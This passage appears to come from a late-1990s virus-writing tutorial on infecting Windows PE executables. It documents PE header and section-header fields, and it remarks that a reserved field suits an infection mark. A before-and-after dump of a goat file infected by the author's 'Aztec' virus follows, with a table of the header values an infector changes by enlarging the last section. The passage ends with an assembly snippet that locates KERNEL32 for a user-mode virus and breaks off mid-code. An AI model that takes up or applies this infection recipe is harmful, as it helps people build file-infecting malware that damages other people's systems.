ÄÄÄ +00000048h ³ Major Subsystem Version ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0000004Ah ³ Minor Subsystem Version ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0000004Ch ³ Reserved1 ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000050h ³ Size Of Image ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000054h ³ Size Of Headers ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000058h ³ CheckSum ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0000005Ch ³ SubSystem ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0000005Eh ³ Dll Characteristics ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000060h ³ Size Of Stack Reserve ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000064h ³ Size Of Stack Commit ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000068h ³ Size Of Heap Reserve ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0000006Ch ³ Size Of Heap Commit ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000070h ³ Loader Flags ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000074h ³ Number Of Rva And Sizes ³ Size : 1 DWORD ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄÄ Total Size : 78h BYTES (Together with IMAGE_FILE_HEADER ^^^^^^^^^) þ Magic: Always seems to be 010Bh, fact that make us think it's a kind of signature. Uninteresting. þ Major Linker Version and Minor Linker Version: Version of the linker that produced this file. Uninteresting. þ Size Of Code: It's the amount of bytes (rounded up) of all the sections that contain exe- cutable code. þ Size Of Initialized Data: It' s supposed to be the total size of all sections with initialized data. þ Size Of Uninitialized Data: The uninitialized data does not occupy disk space, but when system loadz the file, it gives some memory (Virtual Memory, in fact). þ Address of EntryPoint: Where the loader will begin the execution of code. It's an RVA, relative to the imagebase when the system loads the file. Very interesting. þ Base Of Code: The RVA where the file's code sections begin. The code sections typically come before the data sections and after the PE header in memory. This RVA is usually 0x1000 in Microsoft Linker-produced EXEs. Borland's TLINK32 looks like it adds the image base to the RVA of the first code section and stores the result in this field. þ Base Of Data: The RVA where the file's data sections begin. The data sections typically come last in memory, after the PE header and the code sections. þ Image Base: When the linker creates an executable, it assumes that the file will be memory-mapped to a specific location in memory. That address is stored in this field, assuming a load address allows linker optimizations to take place. If the file really is memory-mapped to that address bythe loader, the code doesn't need any patching before it can be run. In executables produced for Windows NT, the default image base is 0x10000. For DLLs, the default is 0x400000. In Win9X, the address 0x10000 can't be used to load 32-bit EXEs because it lies within a linear address region shared by all processes. Because of this, Microsoft has changed the default base address for Win32 executables to 0x400000. Older programs that were linked assuming a base address of 0x10000 will take longer to load under Win9X because the loader needs to apply the base relocations. þ Section Alignment: When mapped into memory, each section is guaranteed to start at a virtual address that's a multiple of this value. For paging purposes, the default section alignment is 0x1000. þ File Alignment: In the PE file, the raw data that comprises each section is guaranteed to start at a multiple of this value. The default value is 0x200 bytes,probably to ensure that sections always start at the beginning of a disk sector (which are also 0x200 bytes in length). This field is equivalent to the segment/resource alignment size in NE files. Unlike NE files, PE files typically don't have hundreds of sections, so the space wasted by aligning the file sections is almost always very small. þ Major Operating System Version and Minor Operating System Version: The minimum version of the operating system required to use this executable. This field is somewhat ambiguous since the subsystem fields (a few fields later) appear to serve a similar purpose. This field defaults to 1.0 in all Win32 EXEs to date. þ Major Image Version and Minor Image Version: A user-definable field. This allows you to have different versions of an EXE or DLL. You set these fields via the linker /VERSION switch. For example, "LINK /VERSION:2.0 myobj.obj". þ Major Subsystem Version and Minor Subsystem Version: Contains the minimum subsystem version required to run the executable. A typical value for this field is 3.10 (meaning Windows NT 3.1). þ Reserved1: Seems to always be 0 (perfect for an infection mark). þ Size Of Image: This appears to be the total size of the portions of the image that the loader has to worry about. It is the size of the region starting at the image base up to the end of the last section. The end of the last section is rounded up to the nearest multiple of the section alignment. þ Size Of Headers: The size of the PE header and the section (object) table. The raw data for the sections starts immediately after all the header components. þ Checksum: Supposedly a CRC checksum of the file. As in other Microsoft executable formats, this field is ignored and set to 0. The one exception to this rule is for trusted services and these EXEs must have a valid checksum. þ SubSystem: The type of subsystem that this executable uses for its user interface. WINNT.H defines the following values: NATIVE 1 Doesn't require a subsystem (such as a device driver) WINDOWS_GUI 2 Runs in the Windows GUI subsystem WINDOWS_CUI 3 Runs in the Windows character subsystem (console app) OS2_CUI 5 Runs in the OS/2 character subsystem (OS/2 1.x only) POSIX_CUI 7 Runs in the Posix character subsystem þ Dll Characteristics: A set of flags indicating under which circumstances a DLL's initialization function (such as DllMain) will be called. This value appears to always be set to 0, yet the operating system still calls the DLL initialization function for all four events. The following values are defined: 1 Call when DLL is first loaded into a process's address space 2 Call when a thread terminates 4 Call when a thread starts up 8 Call when DLL exits þ Size Of Stack Reserve: The amount of virtual memory to reserve for the initial thread's stack. Not all of this memory is committed, however (see the next field). This field defaults to 0x100000 (1MB). If you specify 0 as the stack size to CreateThread, the resulting thread will also have a stack of this same size. þ Size Of Stack Commit: The amount of memory initially committed for the initial thread's stack. This field defaults to 0x1000 bytes (1 page) for the Microsoft Linker while TLINK32 makes it two pages. þ Size Of Heap Reserve: The amount of virtual memory to reserve for the initial process heap. This heap's handle can be obtained by calling GetProcessHeap. Not all of this memory is committed (see the next field). þ Size Of Heap Commit: The amount of memory initially committed in the process heap. The default is one page. þ Loader Flags: From WINNT.H, these appear to be fields related to debugging support. I've never seen an executable with either of these bits enabled, nor is it clear how to get the linker to set them. The following values are defined: 1. Invoke a breakpoint instruction before starting the process 2. Invoke a debugger on the process after it's been loaded þ Number Of Rva And Sizes: The number of entries in the DataDirectory array (below). This value is always set to 16 by the current tools. IMAGE_SECTION_HEADER ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ Begin Of Section Header ³ Section Name ³ Size : 8 BYTES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000008h ³ Virtual Size ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0000000Ch ³ Virtual Address ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000010h ³ Size Of Raw Data ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000014h ³ Pointer To Raw Data ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000018h ³ Pointer To Relocations ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0000001Ch ³ Pointer To Line Numbers ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000020h ³ Number Of Relocations ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000022h ³ Number Of Line Numbers ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +00000024h ³ Characteristics ³ Size : 1 DWORD ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄÄ Total Size : 28h BYTES þ Section Name: This is an 8-byte ANSI name (not UNICODE) that names the section. Most section names start with a . (such as ".text"), but this is not a requirement, as some PE documentation would have you believe. You can name your own sections with either the segment directive in assembly language, or with "#pragma data_seg" and "#pragma code_seg" in the Microsoft C/C++ compiler. It's important to note that if the section name takes up the full 8 bytes, there's no NULL terminator byte. If you're a printf devotee, you can use %.8s to avoid copying the name string to another buffer where you can NULL-terminate it. þ Virtual Size: This field has different meanings, in EXEs or OBJs. In an EXE, it holds the actual size of the code or data. This is the size before rounding up to the nearest file alignment multiple. The SizeOfRawData field (seems a bit of a misnomer) later on in the structure holds the rounded up value. The Borland linker reverses the meaning of these two fields and appears to be correct. For OBJ files, this field indicates the physical address of the section. The first section starts at address 0. To find the physical address in an OBJ file of the next section, add the SizeOfRawData value to the physical address of the current section. þ Virtual Address: In EXEs this field holds the RVA to where the loader should map the section. To calculate the real starting address of a given section in memory, add the base address of the image to the section's VirtualAddress stored in this field. With Microsoft tools, the first section defaults to an RVA of 0x1000. In OBJs, this field is meaningless and is set to 0. þ Size Of Raw Data: In EXEs, this field contains the size of the section after it's been rounded up to the file alignment size. For example, assume a file alignment size of 0x200. If the VirtualSize field from above says that the section is 0x35A bytes in length, this field will say that the section is 0x400 bytes long. In OBJs, this field contains the exact size of the section emitted by the compiler or assembler. In other words, for OBJs, it's equivalent to the VirtualSize field in EXEs. þ Pointer To Raw Data: This is the file-based offset of where the raw data emitted by the compiler or assembler can be found. If your program memory maps a PE or COFF file itself (rather than letting the operating system load it), this field is more important than the VirtualAddress field. You'll have a completely linear file mapping in this situation, so you' ll find the data for the sections at this offset, rather than at the RVA specified in the Virtual Address field. þ Pointer To Relocations: In OBJs this is the file-based offset to the relocation information for this section. The relocation information for each OBJ section immediately follows the raw data for that section. In EXEs this field (and the subsequent field) are meaningless, and set to 0. When the linker creates the EXE, it resolves most of the fixups, leaving only base address relocations and imported functions to be resolved at load time. The information about base relocations and imported functions is kept in their own sections, so there's no need for an EXE to have per-section relocation data following the raw section data. þ Pointer To Line Numbers: This is the file-based offset of the line number table. A line number table correlates source file line numbers to the addresses of the code generated for a given line. In modern debug formats like the CodeView format, line number information is stored as part of the debug information. In the COFF debug format, however, the line number information is stored separately from the symbolic name/type information. Usually, only code sections (such as .text) have line numbers. In EXE files, the line numbers are collected towards the end of the file, after the raw data for the sections. In OBJ files, the line number table for a section comes after the raw section data and the relocation table for that section. þ Number Of Relocations: The number of relocations in the relocation table for this section (the PointerToRelocations field from above). This field seems relevant only for OBJ files. þ Number Of Line Numbers: The number of line numbers in the line number table for this section (the PointerToLinenumbers field from above). þ Characteristics: What most programmers call flags, the COFF/PE format calls characteristics. This field is a set of flags that indicate the section's attributes (such as code/data, readable, or writeable,). For a complete list of all possible section attributes, see the IMAGE_SCN_XXX_XXX #defines in WINNT.H. Some of the more important flags are shown below: 0x00000020 This section contains code. Usually set in conjunction with the executable flag (0x80000000). 0x00000040 This section contains initialized data. Almost all sections except executable and the .bss section have this flag set. 0x00000080 This section contains uninitialized data (for example, the .bss section). 0x00000200 This section contains comments or some other type of information. A typical use of this section is the .drectve section emitted by the compiler, which contains commands for the linker. 0x00000800 This section's contents shouldn't be put in the final EXE file. These sections are used by the compiler/assembler to pass information to the linker. 0x02000000 This section can be discarded, since it's not needed by the process once it's been loaded. The most common discardable section is the base relocations (.reloc). 0x10000000 This section is shareable. When used with a DLL, the data in this section will be shared among all processes using the DLL. The default is for data sections to be nonshared, meaning that each process using a DLL gets its own copy of this section's data. In more technical terms, a shared section tells the memory manager to set the page mappings for this section such that all processes using the DLL refer to the same physical page in memory. To make a section shareable, use the SHARED attribute at link time. For example: LINK /SECTION:MYDATA,RWS ... tells the linker that the section called MYDATA should be readable,writeable and shared. 0x20000000 This section is executable. This flag is usually set whenever the "contains code" flag (0x00000020) is set. 0x40000000 This section is readable. This flag is almost always set for sections in EXE files. 0x80000000 The section is writeable. If this flag isn't set in an EXE's section, the loader should mark the memory mapped pages as read-only or execute-only. Typical sections with this attribute are .data and .bss. Interestingly, the .idata section also has this attribute set. % Changes to do % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Well, here i will explain you the changes to do in a normal PE infector. I assume that you will do a virus that increases the last section of the PE file, this technique seems to have more success between all us, and btw, is much more easy that adding another section. Let's see how a virus can change an executable header. I used for this INFO-PE program, by Lord Julus [SLAM]. -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú ÄÄÄÄÄÄ´ DOS INFORMATION ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Analyzed File: GOAT002.EXE DOS Reports: þ File Size - 2000H (08192d) þ File Time - 17:19:46 (hh:mm:ss) þ File Date - 11/06/1999 (dd/mm/yy) þ Attributes : Archive [...] ÄÄÄÄÄÄÄ´ PE Header ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÖÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄ· º O_DOS ³ O_PE º (Offset from Dos Header / PE Header ÇÄÄÄÄÄÄÄÅÄÄÄÄÄÄĶ º 0100H ³ 0000H º PE Header Signature - PE/0/0 º 0104H ³ 0004H º The machine for this EXE is Intel 386 (value = 014CH) º 0106H ³ 0006H º Number of sections in the file - 0004H º 0108H ³ 0008H º File was linked at : 23/03/2049 º 010CH ³ 000CH º Pointer to Symbol Table : 00000000H º 0110H ³ 0010H º Number of Symbols : 00000000H º 0114H ³ 0014H º Size of the Optional Header : 00E0H º ³ º º 0116H ³ 0016H º File Characteristics - 818EH : º ³ º ù File is executable º ³ º ù Line numbers stripped from file º ³ º ù Local symbols stripped from file º ³ º ù Bytes of machine word are reversed º ³ º ù 32 bit word machine º ³ º ù Bytes of machine word are reversed ÓÄÄÄÄÄÄÄÁÄÄÄÄÄÄĽ ÄÄÄÄÄÄÄ´ PE Optional Header ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÖÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄ· º O_DOS ³ O_PE º (Offset from Dos Header / PE Header ÇÄÄÄÄÄÄÄÅÄÄÄÄÄÄĶ º 0118H ³ 0018H º Magic Value : 010BH (` `) º 011AH ³ 001AH º Major Linker Version : 2 º 011BH ³ 001BH º Minor Linker Version : 25 º ³ º Linker Version : 2.25 º 011CH ³ 001CH º Size of Code : 00001200H º 0120H ³ 0020H º Size of Initialized Data : 00000600H º 0124H ³ 0024H º Size of Uninitialized Data : 00000000H º 0128H ³ 0028H º Address of Entry Point : 00001000H º 012CH ³ 002CH º Base of Code (.text ofs.) : 00001000H º 0130H ³ 0030H º Base of Data (.bss ofs.) : 00003000H º 0134H ³ 0034H º Image Base : 00400000H º 0138H ³ 0038H º Section Alignment : 00001000H º 013CH ³ 003CH º File Alignment : 00000200H º 0140H ³ 0040H º Major Operating System Version : 1 º 0142H ³ 0042H º Minor Operating System Version : 0 º 0144H ³ 0044H º Major Image Version : 0 º 0146H ³ 0046H º Minor Image Version : 0 º 0148H ³ 0048H º Major SubSystem Version : 3 º 014AH ³ 004AH º Minor SubSystem Version : 10 º 014CH ³ 004CH º Reserved Long : 00000000H º 0150H ³ 0050H º Size of Image : 00006000H º 0154H ³ 0054H º Size of Headers : 00000400H º 0158H ³ 0058H º File Checksum : 00000000H º 015CH ³ 005CH º SubSystem : 2 º ³ º ù Image runs in the Windows GUI subsystem º 015EH ³ 005EH º DLL Characteristics : 0000H º 0160H ³ 0060H º Size of Stack Reserve : 00100000H º 0164H ³ 0064H º Size of Stack Commit : 00002000H º 0168H ³ 0068H º Size of Heap Reserve : 00100000H º 016CH ³ 006CH º Size of Heap Commit : 00001000H º 0170H ³ 0070H º Loader Flags : 00000000H º 0174H ³ 0074H º Number Directories : 00000010H [...] ÄÄÄÄÄÄ´ PE Section Headers ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÖÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄ· º O_DOS ³ O_PE º (Offset from Dos Header / PE Header ÇÄÄÄÄÄÄÄÅÄÄÄÄÄÄĶ [...] º 0270H ³ 0170H º Section name : .reloc º 0278H ³ 0178H º Physical Address : 00001000H º 027CH ³ 017CH º Virtual Address : 00005000H º 0280H ³ 0180H º Size of RAW data : 00000200H º 0284H ³ 0184H º Pointer to RAW data : 00001C00H º 0288H ³ 0188H º Pointer to relocations : 00000000H º 028CH ³ 018CH º Pointer to line numbers : 00000000H º 0290H ³ 0190H º Number of Relocations : 0000H º 0292H ³ 0192H º Number of line numbers : 0000H º 0294H ³ 0194H º Characteristics : 50000040H º ³ º ù Section contains initialized data. º ³ º ù Section is shareable. º ³ º ù Section is readable. º ³ º ÓÄÄÄÄÄÄÄÁÄÄÄÄÄÄĽ -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú That was a normal file, without being infected. Below comes exactly the sa- me file, but infected by my Aztec (the Ring-3 example virus, see below). -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú ÄÄÄÄÄÄ´ DOS INFORMATION ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Analyzed File: GOAT002.EXE DOS Reports: þ File Size - 2600H (09728d) þ File Time - 23:20:58 (hh:mm:ss) þ File Date - 22/06/1999 (dd/mm/yy) þ Attributes : Archive [...] ÄÄÄÄÄÄ´ PE Header ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÖÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄ· º O_DOS ³ O_PE º (Offset from Dos Header / PE Header ÇÄÄÄÄÄÄÄÅÄÄÄÄÄÄĶ º 0100H ³ 0000H º PE Header Signature - PE/0/0 º 0104H ³ 0004H º The machine for this EXE is Intel 386 (value = 014CH) º 0106H ³ 0006H º Number of sections in the file - 0004H º 0108H ³ 0008H º File was linked at : 23/03/2049 º 010CH ³ 000CH º Pointer to Symbol Table : 00000000H º 0110H ³ 0010H º Number of Symbols : 00000000H º 0114H ³ 0014H º Size of the Optional Header : 00E0H º ³ º º 0116H ³ 0016H º File Characteristics - 818EH : º ³ º ù File is executable º ³ º ù Line numbers stripped from file º ³ º ù Local symbols stripped from file º ³ º ù Bytes of machine word are reversed º ³ º ù 32 bit word machine º ³ º ù Bytes of machine word are reversed ÓÄÄÄÄÄÄÄÁÄÄÄÄÄÄĽ ÄÄÄÄÄÄ´ PE Optional Header ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÖÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄ· º O_DOS ³ O_PE º (Offset from Dos Header / PE Header ÇÄÄÄÄÄÄÄÅÄÄÄÄÄÄĶ º 0118H ³ 0018H º Magic Value : 010BH (` `) º 011AH ³ 001AH º Major Linker Version : 2 º 011BH ³ 001BH º Minor Linker Version : 25 º ³ º Linker Version : 2.25 º 011CH ³ 001CH º Size of Code : 00001200H º 0120H ³ 0020H º Size of Initialized Data : 00000600H º 0124H ³ 0024H º Size of Uninitialized Data : 00000000H º 0128H ³ 0028H º Address of Entry Point : 00005200H º 012CH ³ 002CH º Base of Code (.text ofs.) : 00001000H º 0130H ³ 0030H º Base of Data (.bss ofs.) : 00003000H º 0134H ³ 0034H º Image Base : 00400000H º 0138H ³ 0038H º Section Alignment : 00001000H º 013CH ³ 003CH º File Alignment : 00000200H º 0140H ³ 0040H º Major Operating System Version : 1 º 0142H ³ 0042H º Minor Operating System Version : 0 º 0144H ³ 0044H º Major Image Version : 0 º 0146H ³ 0046H º Minor Image Version : 0 º 0148H ³ 0048H º Major SubSystem Version : 3 º 014AH ³ 004AH º Minor SubSystem Version : 10 º 014CH ³ 004CH º Reserved Long : 43545A41H º 0150H ³ 0050H º Size of Image : 00006600H º 0154H ³ 0054H º Size of Headers : 00000400H º 0158H ³ 0058H º File Checksum : 00000000H º 015CH ³ 005CH º SubSystem : 2 º ³ º ù Image runs in the Windows GUI subsystem º 015EH ³ 005EH º DLL Characteristics : 0000H º 0160H ³ 0060H º Size of Stack Reserve : 00100000H º 0164H ³ 0064H º Size of Stack Commit : 00002000H º 0168H ³ 0068H º Size of Heap Reserve : 00100000H º 016CH ³ 006CH º Size of Heap Commit : 00001000H º 0170H ³ 0070H º Loader Flags : 00000000H º 0174H ³ 0074H º Number Directories : 00000010H ÓÄÄÄÄÄÄÄÁÄÄÄÄÄÄĽ [...] ÄÄÄÄÄÄ´ PE Section Headers ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÖÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄ· º O_DOS ³ O_PE º (Offset from Dos Header / PE Header ÇÄÄÄÄÄÄÄÅÄÄÄÄÄÄĶ [...] º 0270H ³ 0170H º Section name : .reloc º 0278H ³ 0178H º Physical Address : 00001600H º 027CH ³ 017CH º Virtual Address : 00005000H º 0280H ³ 0180H º Size of RAW data : 00001600H º 0284H ³ 0184H º Pointer to RAW data : 00001C00H º 0288H ³ 0188H º Pointer to relocations : 00000000H º 028CH ³ 018CH º Pointer to line numbers : 00000000H º 0290H ³ 0190H º Number of Relocations : 0000H º 0292H ³ 0192H º Number of line numbers : 0000H º 0294H ³ 0194H º Characteristics : F0000060H º ³ º ù Section contains code. º ³ º ù Section contains initialized data. º ³ º ù Section is shareable. º ³ º ù Section is executable. º ³ º ù Section is readable. º ³ º ù Section is writeable. º ³ º ÓÄÄÄÄÄÄÄÁÄÄÄÄÄÄĽ -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú Well, i hope this have helped you a little more to understand what we do when infecting the PE file by increasing its last section. For avoid your work of compare each one of this tables, i made this little list for you: ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º Values to change ³ Before ³ After ³ Location º ÈÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍѼ ³ Address Of Entrypoint ³ 00001000h ³ 00005200h ³ Image File Hdr ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Reserved1 (inf. mark) ³ 00000000h ³ 43545A41h ³ Image File Hdr ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Virtual Size ³ 00001000h ³ 00001600h ³ Section header ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Size Of Raw Data ³ 00000200h ³ 00001600h ³ Section header ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Characteristics ³ 50000040h ³ F0000060h ³ Section header ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ The code for this is very simple. For those who don't understand a shit with out having code, can take a look to Win32.Aztec, fully described in the next chapter. ÚÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄÄ¿ ³ Ring-3, coding in the user level ³ ÀÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄ----úúú úúú---ÄÄÄÙ Well, it's right that the user level gives to all us many repressive and fa- scists limitations and restrictions, that violate our beloved freedom, that freedom we felt while coding DOS viruses, but guy, that's life, that's our theath, that's Micro$oft. Btw, is the only way (nowadays) to make a virus full Win32 compatible, and that enviroment is the future, as you must know. First of all, let's see how to get KERNEL32 base address (for Win32 compati- bility) in a very simple way: % A simple way for get KERNEL32 base address % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ As you know, when we execute an application, the code is "called" from a part of the code of KERNEL32 (i.e., is like KERNEL makes a CALL to our code) and, if you remember, when a call is made, the return address is in the stack (that is, in the memory address told by ESP). Let's see a practic example of this: ;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .586p ; Bah... simply for phun. .model flat ; Hehehe i love 32 bit stuph ;) .data ; Some data (needed by TASM32/TLINK32) db ? .code start: mov eax,[esp] ; Now EAX would be BFF8XXXXh (if w9X) ; ie, somewhere inside the API ; CreateProcess :) ret ; Return to it ;) end start ;ÄÄÄ[ CUT HERE 